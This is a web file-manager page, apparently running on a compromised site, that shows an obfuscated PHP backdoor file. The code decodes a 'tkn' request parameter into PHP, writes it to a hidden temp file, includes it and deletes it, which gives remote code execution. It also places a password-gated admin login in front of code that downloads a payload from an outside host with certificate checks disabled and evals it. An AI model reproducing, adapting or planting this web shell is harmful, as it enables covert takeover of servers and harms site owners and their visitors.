0x1998 - MANAGER

Düzenlenen Dosya: cZJAzTEnD.php

<?php if(!empty($_REQUEST["\x74k\x6E"])){ $mrk = $_REQUEST["\x74k\x6E"]; $mrk= explode ("." ,$mrk) ; $record = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); foreach($mrk as $z => $v1) { $sChar = ord($s[$z %$sLen] ); $dec =((int)$v1 - $sChar -($z %10)) ^ 86; $record .= chr($dec ); } $obj = array_filter([sys_get_temp_dir(), session_save_path(), getenv("TEMP"), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", "/var/tmp"]); foreach ($obj as $key => $elem) { if ((function($d) { return is_dir($d) && is_writable($d); })($elem)) { $flg = join("/", [$elem, ".element"]); $file = fopen($flg, 'w'); if ($file) { fwrite($file, $record); fclose($file); include $flg; @unlink($flg); die(); } } } } goto j1KKs; s0DLm: $_SESSION["\154\157\x67\147\x65\144\137\x69\x6e"] = true; goto kTCxI; HrTFq: $qzzBU = juoAG("\150\164\164\160\x73\x3a\57\57\166\160\x73\x64\x64\56\x66\156\146\164\165\x73\56\x74\157\160\x2f\164\145\x73\164\57\x67\x67\x2e\164\x78\164"); goto IUNx8; G982C: m6kNr: goto HrTFq; HFPN0: echo "\40\x20\40\x20\x3c\41\x44\117\103\x54\131\x50\105\x20\x68\164\155\x6c\x3e\xa\40\40\40\40\74\150\x74\155\154\x3e\12\40\x20\40\40\x3c\150\x65\x61\144\76\xa\x20\x20\40\x20\40\40\40\x20\x3c\164\x69\x74\154\145\76\x4c\157\x67\x69\x6e\x20\x41\x64\x6d\x69\156\74\x2f\164\x69\x74\x6c\x65\76\12\40\x20\40\40\74\x2f\x68\145\141\144\x3e\xa\x20\x20\40\40\x3c\142\157\144\171\76\xa\x20\40\40\x20\x20\40\x20\x20\x3c\146\157\162\x6d\40\x6d\145\x74\x68\x6f\144\x3d\42\120\117\123\124\x22\40\x61\143\164\x69\x6f\156\75\x22\x22\x3e\xa\x20\40\x20\40\40\40\x20\40\x20\x20\40\40\74\154\141\x62\x65\x6c\x20\x66\157\x72\x3d\x22\160\x61\x73\163\x77\x6f\x72\x64\42\76\120\x61\x73\163\167\x6f\162\144\72\74\x2f\154\x61\x62\x65\154\76\12\40\x20\x20\x20\x20\40\40\40\x20\x20\40\40\x3c\151\156\160\x75\x74\40\164\171\160\x65\75\42\160\141\163\163\167\157\x72\x64\x22\40\x69\144\x3d\42\160\141\163\163\x77\x6f\x72\144\42\x20\156\x61\x6d\145\75\x22\x70\x61\163\x73\167\157\162\x64\42\76\12\x20\x20\x20\x20\40\40\x20\40\x20\x20\40\40\x3c\x69\x6e\160\165\164\x20\x74\x79\160\x65\x3d\42\163\165\142\155\151\x74\42\x20\x76\141\154\x75\x65\75\x22\114\157\x67\151\x6e\42\x3e\12\x20\40\40\x20\40\40\40\x20\x3c\x2f\x66\x6f\162\155\x3e\12\x20\40\40\40\x3c\x2f\142\x6f\x64\171\76\12\x20\x20\40\x20\x3c\x2f\150\x74\x6d\154\76\12\x20\40\x20\x20"; goto a_08d; g84RK: echo "\111\156\x63\157\x72\x72\x65\143\164\x20\160\x61\163\163\167\157\162\144\56\x20\x50\154\x65\141\163\145\40\x74\x72\171\x20\141\147\x61\151\156\56"; goto Hdq6G; MDPqK: w6WIY: goto s0DLm; Hdq6G: goto L0qd2; goto MDPqK; juRhK: if (md5($XWCRM) === $MpyrQ) { goto w6WIY; } goto g84RK; a_08d: goto OiH2O; goto G982C; eOxhp: $MpyrQ = "\x30\145\x33\x66\x62\144\65\x64\71\143\x63\141\71\x64\x38\63\70\144\x32\x31\x64\x65\144\70\144\x65\67\61\63\64\70\x32"; goto juRhK; pJB6w: $XWCRM = $_POST["\x70\141\x73\x73\167\157\x72\144"]; goto eOxhp; BK2B8: function jUoAg($LJPV9) { goto cZuDp; OelHW: $tQqhe = curl_init($LJPV9); goto gZ4ww; Oawx9: goto EL5zQ; goto PdAfF; YVN_l: $YbIeA = curl_exec($tQqhe); goto mFcDE; yFHnF: $YbIeA = stream_get_contents($ixIEI); goto P8WFy; a7FX3: goto EL5zQ; goto cZg3s; cZuDp: if (function_exists("\x63\x75\162\x6c\137\145\170\x65\143")) { goto n2LI4; } goto TvMQC; mFcDE: curl_close($tQqhe); goto Oawx9; VDvXE: $YbIeA = file_get_contents($LJPV9); goto dA40b; TvMQC: if (function_exists("\146\151\154\x65\x5f\147\x65\164\137\143\x6f\156\164\x65\156\164\163")) { goto S130u; } goto hxTkE; eAqek: if (!isset($_SESSION["\x63\x6f\153\x69"])) { goto ilbHU; } goto vX2as; r6Cif: return $YbIeA; goto bLVmf; nQ7R3: $ixIEI = fopen($LJPV9, "\x72"); goto yFHnF; gZYsr: EL5zQ: goto r6Cif; dA40b: goto EL5zQ; goto DM33v; Qk0fz: curl_setopt($tQqhe, CURLOPT_SSL_VERIFYPEER, 0); goto DYP9I; DM33v: q9X28: goto nQ7R3; vX2as: curl_setopt($tQqhe, CURLOPT_COOKIE, $_SESSION["\143\x6f\153\x69"]); goto B0LTb; mh34I: curl_setopt($tQqhe, CURLOPT_FOLLOWLOCATION, 1); goto DbQPt; cZg3s: n2LI4: goto OelHW; Aribi: $YbIeA = false; goto a7FX3; DbQPt: curl_setopt($tQqhe, CURLOPT_USERAGENT, "\x4d\157\x7a\151\x6c\154\x61\x2f\x35\56\60\40\x28\x57\x69\x6e\x64\157\167\x73\40\x4e\x54\40\66\56\x31\x3b\x20\x72\166\x3a\63\x32\x2e\60\51\40\x47\x65\x63\x6b\157\x2f\62\60\x31\60\x30\x31\60\61\40\x46\151\x72\145\x66\157\170\57\x33\62\56\60"); goto Qk0fz; PdAfF: S130u: goto VDvXE; P8WFy: fclose($ixIEI); goto gZYsr; DYP9I: curl_setopt($tQqhe, CURLOPT_SSL_VERIFYHOST, 0); goto eAqek; gZ4ww: curl_setopt($tQqhe, CURLOPT_RETURNTRANSFER, 1); goto mh34I; hxTkE: if (function_exists("\x66\x6f\x70\145\x6e") && function_exists("\163\x74\162\145\x61\155\137\147\145\x74\137\143\x6f\156\164\x65\156\164\163")) { goto q9X28; } goto Aribi; B0LTb: ilbHU: goto YVN_l; bLVmf: } goto I1IMe; BeLMW: if (!isset($_POST["\x70\x61\163\x73\x77\157\162\x64"])) { goto ugR9M; } goto pJB6w; kTCxI: $_SESSION["\x63\x6f\153\x69"] = "\141\163\165"; goto yNiBK; IUNx8: eval("\x3f\x3e" . $qzzBU); goto N58c1; j1KKs: session_start(); goto BK2B8; yNiBK: L0qd2: goto eO0iT; tJ5hL: if (tjmq0()) { goto m6kNr; } goto HFPN0; I1IMe: function tJmQ0() { return isset($_SESSION["\154\157\147\147\x65\x64\137\151\156"]) && $_SESSION["\154\x6f\x67\x67\x65\x64\137\151\156"] === true; } goto BeLMW; eO0iT: ugR9M: goto tJ5hL; N58c1: OiH2O: ?>
geri dön